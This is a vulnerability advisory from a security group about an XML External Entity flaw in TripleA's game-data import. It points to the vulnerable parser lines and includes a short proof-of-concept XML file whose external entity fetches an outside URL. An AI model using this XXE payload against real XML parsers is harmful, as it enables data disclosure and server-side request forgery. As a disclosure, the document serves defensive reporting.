0dd - The Zero (0) Day Division

The Zero (0) Day Division is a group of security professionals working towards a common goal; securing open-source projects.

TripleA XXE

The Issue

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

TripleA contains the functionality to export game data and import it on another game server. This game data is in XML format. 0dd identified that the parser used within the TripleA program to parse XML was not securely implemented.

Where the Issue Occurred

The code below creates an XML parser which parses the game data passed to it:

The XML parser is set up on Line 300 of /game-core/src/main/java/games/strategy/engine/data/GameParser.java

final DocumentBuilder builder = factory.newDocumentBuilder();

The XML input is parsed on Line 319 of /game-core/src/main/java/games/strategy/engine/data/GameParser.java

return builder.parse(input, system);

Attack Scenario

An attacker could be sharing a game data file with another user. This user may then load the game data file on the game server, allowing the attacker to successfully exploit this issue.

PoC File

File named GameData.xml

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://0dd.zone">
]>
<r>&sp;</r>

Disclosure Timeline

  • Issue Reported: 30th May 2018
  • Issue Resolved: <TBD>
  • Blog Post Published: <TBD>
  • Applied for CVE: 24th June 2018